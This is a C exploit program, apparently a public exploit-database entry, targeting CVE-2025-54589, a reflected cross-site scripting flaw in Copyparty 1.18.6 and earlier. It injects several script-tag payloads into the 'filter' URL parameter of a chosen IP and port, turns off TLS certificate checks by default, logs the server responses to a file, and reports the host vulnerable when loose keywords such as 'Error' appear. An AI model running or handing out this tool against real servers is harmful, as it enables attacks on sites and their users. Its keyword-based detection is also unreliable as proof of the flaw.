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/*
* Author : Byte Reaper
* CVE : CVE-2025-54589
* Title : Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS)
* CVE-2025-54589是Copyparty (≤ 1.18.6)中的一个反射型跨站脚本(XSS)漏洞，其中filter参数在没有适当清理的情况下被插入到HTML响应中，
允许攻击者在受害者的浏览器中注入并执行任意JavaScript
*/
#include <curl/urlapi.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>
#define FULL_URL 2500
#define COLOR_RESET "\e[0m"
#define COLOR_RED "\e[1;31m"
#define COLOR_GRN "\e[1;32m"
#define COLOR_YEL "\e[1;33m"
#define COLOR_BLU "\e[1;34m"
#define COLOR_CYN "\e[1;36m"
#define COLOR_WHT "\e[1;37m"
#define COLOR_PUR "\e[1;35m"
#define PRINT_OK(fmt, ...) print_color(COLOR_GRN, "" fmt, ##__VA_ARGS__)
#define PRINT_ERR(fmt, ...) print_color(COLOR_RED, "" fmt, ##__VA_ARGS__)
#define PRINT_WARN(fmt, ...) print_color(COLOR_YEL, "" fmt, ##__VA_ARGS__)
#define PRINT_INFO(fmt, ...) print_color(COLOR_BLU, "" fmt, ##__VA_ARGS__)
#define PRINT_NOTE(fmt, ...) print_color(COLOR_CYN, "" fmt, ##__VA_ARGS__)
int verbose = 0;
int useC = 0;
const char *ipT = NULL;
int portT = 0;
const char *cookies = NULL;
const char *caFile = NULL;
int sCa = 0;
int useColor = 1;
int useHttp = 0;
void print_color(const char *color, const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
if (useColor)
{
printf("%s", color);
}
vprintf(fmt, args);
if (useColor)
{
printf("%s", COLOR_RESET);
}
va_end(args);
}
void exitAssembly()
{
__asm__ volatile
(
"xor %%rdi, %%rdi\n\t"
"mov $231, %%rax\n\t"
"syscall\n\t"
:
:
: "rax",
"rdi"
);
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
PRINT_ERR("[-] Failed to allocate memory!\n");
exitAssembly();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
const char *payloadXss[] =
{
"</script><script>alert(1)</script>",
"<script\x09type=\"text/javascript\">javascript:alert(XSS);</script>",
"<script\x0Ctype=\"text/javascript\">javascript:alert(byte);</script>"
};
int number = sizeof(payloadXss) / sizeof(payloadXss[0]);
const char *wordF[] =
{
"Error",
"Exception",
"Invalid",
"XSS",
"<script>",
"</script>",
"alert(1)",
"syntax",
"unexpected",
"undefined",
"NaN",
"stack trace",
"TypeError",
"ReferenceError",
"Warning",
"Access denied",
"eval(",
"byte",
};
int numberW = sizeof(wordF) / sizeof(wordF[0]);
void auto_detect_color()
{
if (!isatty(fileno(stdout)))
{
useColor = 0;
}
}
void senR(const char *ip, int port)
{
char full[FULL_URL];
CURLcode res ;
CURL *curl = curl_easy_init();
struct Mem response ;
response.buffer= NULL;
response.len = 0;
for (int h = 0; h < number ; h++)
{
if (!curl)
{
PRINT_ERR("[-] Error Create Object Curl !\n");
PRINT_ERR("[-] Check Your Connection\n");
exitAssembly();
}
if (verbose)
{
PRINT_OK("==========================================\n");
PRINT_OK("[1;33m[+] Cleaning Response...\n");
PRINT_OK("[1;33m[+] Response Buffer : NULL\n");
PRINT_OK("[1;33m[+] Response Len : 0\n");
PRINT_OK("==========================================\n");
}
if (curl)
{
char *payloadE = curl_easy_escape(curl, payloadXss[h], 0);
struct curl_slist *headers = NULL;
if (!payloadE)
{
PRINT_ERR("[-] Error Encode Payload !\e[0m\n");
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
exitAssembly();
}
const char *proto = useHttp ? "http" : "https";
int len1 = snprintf(full, sizeof(full), "%s://%s:%d/?filter=%s", proto, ip, port, payloadE);
if (len1 >= sizeof(full))
{
PRINT_ERR("[-] URL too long\n");
exitAssembly();
}
PRINT_INFO("[+] Encode Payload : %s\n", payloadXss[h]);
PRINT_INFO("[+] Encode Payload Successfully.\n");
PRINT_INFO("[+] Payload Encode : %s\n", payloadE);
PRINT_INFO("[+] target IP : %s\n", ip);
printf("[+] Full Url : %s\n", full);
printf("[+] Port : %d\n", port);
curl_easy_setopt(curl, CURLOPT_URL, full);
curl_free(payloadE);
if (useC)
{
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies);
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies);
}
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
usleep(1500000);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
if (sCa)
{
curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);
}
else
{
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
}
headers = curl_slist_append(headers, "Accept-Language: en-US,en");
headers = curl_slist_append(headers, "Connection: keep-alive");
char refR[120];
int lenF = snprintf(refR, sizeof(refR), "Referer: http://%s:%d", ip, port);
if (lenF < 0 || (size_t)lenF >= sizeof(refR))
{
PRINT_ERR("[-] Len Header Referer is Long ! \n");
response.buffer = NULL;
response.len = 0;
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
exitAssembly();
}
headers = curl_slist_append(headers, refR);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
if (verbose)
{
PRINT_OK("------------------------------------------[Verbose Curl]------------------------------------------\n");
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
}
res = curl_easy_perform(curl);
curl_slist_free_all(headers);
if (res == CURLE_OK)
{
PRINT_OK("-----------------------------------------------------------------\n");
long httpCode = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
PRINT_INFO("[+] Request sent successfully\e[0m\n");
PRINT_OK("[+] Http Code -> %ld\e[0m\n", httpCode);
FILE *log = fopen("results.txt", "a");
if (log == NULL)
{
PRINT_ERR("[-] Error Create File !\n");
exitAssembly();
}
if (log)
{
fprintf(log, "[+] Target: %s:%d | Payload: %s\n", ip, port, payloadXss[h]);
fprintf(log, "[+] Response : \n%s\n", response.buffer);
fclose(log);
}
if (httpCode >= 200 && httpCode < 300)
{
PRINT_OK("[+] Http Code (200 < 300) : %ld\n",httpCode);
for (int s = 0; s < numberW ; s++)
{
if (strstr(response.buffer, wordF[s]) != NULL)
{
PRINT_INFO("[+] A suspicious word was found in the server's response !!\n");
PRINT_INFO("[+] Word Found : %s\n", wordF[s]);
PRINT_NOTE("[+] The vulnerability CVE-2025-54589 exists on the server\n");
PRINT_OK("\n======================================== [Response Server] ========================================\n");
printf("%s\n", response.buffer);
printf("[Len] : %zu\n", response.len);
PRINT_OK("\n==================================================================================================\n");
}
}
}
else
{
PRINT_ERR("[-] HTTP Code Not Range Positive (200 < 300) : %ld\n", httpCode);
PRINT_ERR("[+] Try Next Payload : %s\e[0m\n", payloadXss[h]);
}
}
else
{
PRINT_ERR("[-] Error Send Request\n");
PRINT_ERR("[-] Error : %s\e[0m\n", curl_easy_strerror(res));
exitAssembly();
}
}
}
if (response.buffer)
{
free(response.buffer);
response.buffer = NULL;
response.len = 0;
}
curl_easy_cleanup(curl);
}
int main(int argc, const char **argv)
{
curl_global_init(CURL_GLOBAL_DEFAULT);
printf(
"▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▖▖▄▖▄▖▄▖\n"
"▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌▙▖▙▌▙▌\n"
"▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▄▌ ▌▄▌▙▌▄▌\n"
"Byte Reaper\n"
);
int noColor = 0;
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('i', "ip", &ipT, "Target IP "),
OPT_STRING('c', "cookies", &cookies, "cookies File"),
OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"),
OPT_INTEGER('p', "port", &portT, "Enter Target Port"),
OPT_STRING('a', "ca" , &caFile, "Enter Name File CA\n"),
OPT_BOOLEAN('t', "http", &useHttp, "HTTP Protocol"),
OPT_BOOLEAN('n', "no-color", &noColor, "Disable colored output"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse, options, NULL, 0);
argparse_parse(&argparse, argc, argv);
if (ipT == NULL)
{
PRINT_ERR("[-] Please Enter Target Ip And Port !\n");
PRINT_ERR("[-] Ex : ./exploit -i <IP> -p <PORT>\n");
PRINT_ERR("[-] Exit Syscall\n");
curl_global_cleanup();
exitAssembly();
};
printf("---------------------------------------------------------------------\n\n");
printf("[+] Start Exploit XSS (CVE-2025-54589)...\n");
if (cookies)
{
useC = 1;
}
if (verbose)
{
verbose = 1;
}
if (!portT)
{
printf("[+] Default Port : %d\n", 3923);
portT = 3923;
}
if (caFile)
{
sCa = 1;
}
if (useColor)
{
useColor = 1;
}
if (noColor)
{
useColor = 0;
}
if (useHttp)
{
useHttp = 1;
}
auto_detect_color();
senR(ipT, portT);
curl_global_cleanup();
return 0;
}
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